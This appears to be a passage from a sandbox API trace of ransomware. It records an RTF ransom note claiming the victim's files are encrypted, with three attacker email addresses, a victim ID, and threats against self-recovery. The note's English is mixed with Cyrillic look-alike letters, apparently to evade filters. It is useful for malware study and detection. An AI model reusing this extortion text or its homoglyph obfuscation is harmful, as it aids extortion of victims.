r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.891] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 